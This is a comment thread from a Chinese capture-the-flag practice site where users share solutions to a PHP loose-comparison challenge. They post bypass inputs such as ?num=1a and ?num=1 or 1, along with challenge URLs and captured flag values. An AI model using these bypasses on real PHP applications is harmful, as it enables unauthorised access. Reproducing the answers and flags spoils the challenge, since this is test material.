?num=1 or 1
PHP弱等于,会把类型进行转换再比较,所以1a==1的结果在PHP里面也为ture
http://114.67.175.224:12943/?num=1; 获得flag{2d40283cb3efb26f7e87dd32f4a5f73c}
1ffflag{3d69bfdab153a578756e4867446c42bb}
/?num=1;直接闭合,不用任何的字符串
/?num=1 --+
任务描述中说本题是有矛盾的,那么我们想想为啥会有矛盾,带着疑问我们去查看页面给出的代码if(!is_numeric($num) 如果不是数字类型的传参给num 但是后续让大家匹配的字符是数字1,所以我就尝试传参为?num=1a 发现是可以出现flag值的 只要1后面不是数字就行 最后flag值为flag{3142ee7ddf07c94beae144a3c00d6c87}
后面加num=1ad就行
其实也可以这样写http://114.67.175.224:10876/?num=1%20OR%20num=1
http://114.67.175.224:19301/?num=1=1直接获得flag
...
评论
use 10月前
举报
?num=1 or 1
CO2xz 11月前
举报
PHP弱等于,会把类型进行转换再比较,所以1a==1的结果在PHP里面也为ture
哥哥 11月前
举报
http://114.67.175.224:12943/?num=1; 获得flag{2d40283cb3efb26f7e87dd32f4a5f73c}
z03ctfer 11月前
举报
1ffflag{3d69bfdab153a578756e4867446c42bb}
Vermouths 11月前
举报
/?num=1;直接闭合,不用任何的字符串
WaltZzzZ 1年前
举报
/?num=1 --+
Muzizy 1年前
举报
任务描述中说本题是有矛盾的,那么我们想想为啥会有矛盾,带着疑问我们去查看页面给出的代码if(!is_numeric($num) 如果不是数字类型的传参给num 但是后续让大家匹配的字符是数字1,所以我就尝试传参为?num=1a 发现是可以出现flag值的 只要1后面不是数字就行 最后flag值为flag{3142ee7ddf07c94beae144a3c00d6c87}
zzzlu 1年前
举报
后面加num=1ad就行
昔年科技 1年前
举报
其实也可以这样写http://114.67.175.224:10876/?num=1%20OR%20num=1
權_ 1年前
举报
http://114.67.175.224:19301/?num=1=1直接获得flag